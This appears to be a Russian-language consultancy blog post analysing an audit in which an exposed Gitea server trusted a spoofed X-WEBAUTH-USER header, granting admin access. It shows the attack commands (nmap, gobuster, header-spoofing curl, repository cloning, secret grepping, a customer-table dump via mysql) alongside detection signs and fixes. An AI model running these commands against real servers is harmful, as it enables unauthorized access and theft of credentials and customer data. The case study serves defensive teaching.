CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как заголовок в браузере открыл чужой Gitea-сервер без единого пароля

Разбираем реальный кейс с плановым аудитом: self-hosted репозиторий кода производственной компании оказался доступен снаружи благодаря устаревшей версии Gitea и заголовку, которому сервер слепо доверял.

Разбор CIOlogia

Клиент — производственная компания с собственным парком оборудования и штатом около 60 человек. Учётную систему (склад, заказы, отгрузки) писали два штатных программиста, код хранили на своём сервере: логично, дёшево, без зависимости от внешних облаков. На плановом аудите я проверял ровно то, что обычно упускают из виду при таком подходе — насколько «своё» на самом деле закрыто от чужих.

Что стояло на сервере

Разработчики поднимали у себя Gitea — популярную self-hosted альтернативу GitHub/GitLab. Лёгкая, быстрая, ставится одним бинарником — и именно поэтому её так часто разворачивают «на автопилоте» и забывают. Версия на сервере была устаревшей — старше 1.21.x, без критичных патчей за последние циклы обновлений. Порт сервиса торчал наружу.

nmap -sV -p3000,22,80,443 82.XX.XX.XX

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1
80/tcp   open  http    nginx 1.18.0
3000/tcp open  http    Gitea (Go net/http)
443/tcp  open  ssl/http nginx 1.18.0

Баннер сервиса подтвердился HTTP-запросом:

curl -s -I https://git.example-corp.local/

HTTP/2 200
server: nginx
x-frame-options: SAMEORIGIN
set-cookie: i_like_gitea=...; Path=/; HttpOnly
x-gitea-version: 1.20.4

Заголовок x-gitea-version Gitea отдаёт по умолчанию, если админ не отключил его явно — это готовая подсказка для любого сканера уязвимостей.

Как это эксплуатируется

Дальше — разведка структуры сервиса и проверка стандартных путей:

gobuster dir -u https://git.example-corp.local -w /usr/share/wordlists/dirb/common.txt -t 40

/api             (Status: 200)
/user/login      (Status: 200)
/admin           (Status: 302)
/-/health        (Status: 200)

Ключевая находка была не в путях, а в конфигурации доверенной аутентификации. У Gitea есть механизм REVERSE_PROXY_AUTHENTICATION — он задумывался для связки с внешним SSO/прокси: сервис доверяет заголовку, в котором прокси-сервер передаёт уже проверенный логин пользователя (обычно X-WEBAUTH-USER). Идея разумная — если Gitea физически недоступна напрямую, а только через прокси, который сам делает аутентификацию.

Проблема в том, что порт 3000 был доступен напрямую, в обход nginx-прокси, а Gitea продолжала доверять этому заголовку от любого клиента:

curl -s -H "X-WEBAUTH-USER: admin" https://git.example-corp.local:3000/admin/ -c cookies.txt -b cookies.txt -o resp.html

grep -o ".*" resp.html
<title>Site Administration - Gitea</title>

Один заголовок в HTTP-запросе — и сервер выдаёт сессию с правами администратора. Не гостевой доступ «посмотреть публичные репозитории», а полноценная админ-панель: управление пользователями, организациями, приватными репозиториями, вебхуками, SSH-ключами инстанса.

Дальше — типовой сбор всего интересного через сам git и API:

curl -s -H "X-WEBAUTH-USER: admin" https://git.example-corp.local:3000/api/v1/repos/search | jq -r '.data[].full_name'

erp-team/warehouse-core
erp-team/payment-gateway
erp-team/infra-configs

git clone https://git.example-corp.local:3000/erp-team/infra-configs.git
Cloning into 'infra-configs'...
remote: Enumerating objects: 842, done.

После клонирования — стандартный проход по репозиторию в поисках секретов:

grep -R -nE "(password|secret|token|api_key)" infra-configs/ | head

infra-configs/config/database.yml:12:  password: Prod_Db_2023!
infra-configs/config/payment.env:3:PAYMENT_SECRET_KEY=sk_live_XXXXXXXXXXXX
infra-configs/deploy/1c_connection.ini:7:pwd=1c_service_pass

То же самое проще и быстрее сделать через специализированные сканеры секретов в истории коммитов, а не только в текущем состоянии файлов:

gitleaks detect --source=infra-configs --report-format json --report-path leaks.json

INF 14 leaks found across 842 commits

Секреты не только в актуальном коде — они годами лежат в истории коммитов, даже если файл потом «удалили» и заменили переменной окружения.

Что и почему сработало бы дальше

С паролем от боевой БД, ключами платёжного шлюза и доступами к 1С у злоумышленника есть три параллельных вектора:

  • Прямое подключение к продовой базе с найденными кредами и выгрузка клиентской базы целиком: mysql -h db.internal -u erp_user -p'Prod_Db_2023!' -e "SELECT * FROM customers" > dump.csv. База с телефонами и адресами клиентов — готовый товар для слива конкурентам или для последующего фишинга/мошенничества под видом компании.
  • Ключи платёжного шлюза (sk_live_...) позволяют подменить реквизиты получателя платежей на сайте или создавать возвраты — деньги клиентов уходят мимо компании, а разбираться с эквайрингом и банком придётся неделями.
  • Доступы к 1С дают возможность остановить склад и отгрузки: изменить остатки, заблокировать документы, а при развитии атаки — зашифровать базу данных 1С и потребовать выкуп. Это уже не разовая утечка, а полная остановка операционки на несколько дней.

Отдельно — сама админка Gitea даёт постоянный доступ: можно добавить свой SSH-ключ в аккаунт «admin», создать вебхук, который будет пересылать копию всех новых коммитов на внешний сервер, или встроить бэкдор прямо в CI/CD пайплайн, если он настроен через тот же Gitea Actions. То есть даже если конкретные пароли потом сменят, канал для повторного проникновения останется, пока не перепроверят весь инстанс целиком.

Полутехнические пруфы для тех, кто проверяет себя сам

  • Уязвимый паттерн — доверие заголовку reverse-proxy auth (X-WEBAUTH-USER и аналоги) без проверки, что запрос действительно пришёл от доверенного прокси, а не напрямую от клиента.
  • Признак в конфиге Gitea (app.ini): включён блок [service] ENABLE_REVERSE_PROXY_AUTHENTICATION = true при этом сам сервис слушает на публичном интерфейсе, а не только на localhost за прокси.
  • В логах веб-сервера это видно как запросы к порту приложения (3000) напрямую с внешних IP, минуя основной домен на 80/443 — то есть обращения по внутреннему адресу или IP:3000, которых там в норме быть не должно.
  • В логах Gitea (log/gitea.log) — вход в систему без предшествующего запроса на /user/login и без POST с паролем, сразу сессия с указанным в заголовке логином.

Как закрыли дыру за один день

  1. Обновили Gitea до актуальной версии с патчами безопасности: systemctl stop gitea && cp -r /var/lib/gitea /var/lib/gitea.bak && ./gitea-1.22.x-linux-amd64 web --config app.ini — с обязательным бэкапом БД и репозиториев перед миграцией.
  2. Закрыли прямой внешний доступ к порту 3000 на firewall, оставив вход только через nginx на 443 и только из внутренней сети/VPN: ufw deny 3000/tcp плюс правило в nginx allow 10.0.0.0/24; deny all; для внутреннего location.
  3. Пересмотрели саму настройку reverse-proxy auth: либо отключили её полностью в пользу обычного логина с паролем и 2FA, либо жёстко привязали доверие к заголовку только к запросам от IP самого nginx через proxy_set_header и запрет клиенту передавать этот заголовок напрямую (proxy_set_header X-WEBAUTH-USER ""; на входе, если заголовок пришёл снаружи).
  4. Настроили алерт руководителю в мессенджер при любой попытке подключения к серверу снаружи — простое правило в fail2ban/скрипте на основе логов nginx, которое ловит обращения к внутренним портам с внешних IP.
  5. Ротировали все секреты, найденные в репозиториях: пароль от боевой БД, ключи платёжного шлюза, доступы к 1С — и вычистили их из истории git через git filter-repo, а не просто удалили файл новым коммитом.

На всё ушёл один рабочий день, и по стоимости это была одна из самых дешёвых правок за весь аудит — при том что закрывала одну из самых опасных дыр в инфраструктуре компании.

Самое страшное в таких историях — не сама уязвимость, а уверенность собственника, что «у нас всё своё, значит безопасно».

Self-hosted сервисы — это удобно и экономно, но требуют такого же внимания, как банковский сейф: если забыть про обновления и не проверять, что именно торчит наружу, дверца может быть приоткрыта годами, и никто об этом не узнает, пока не станет поздно.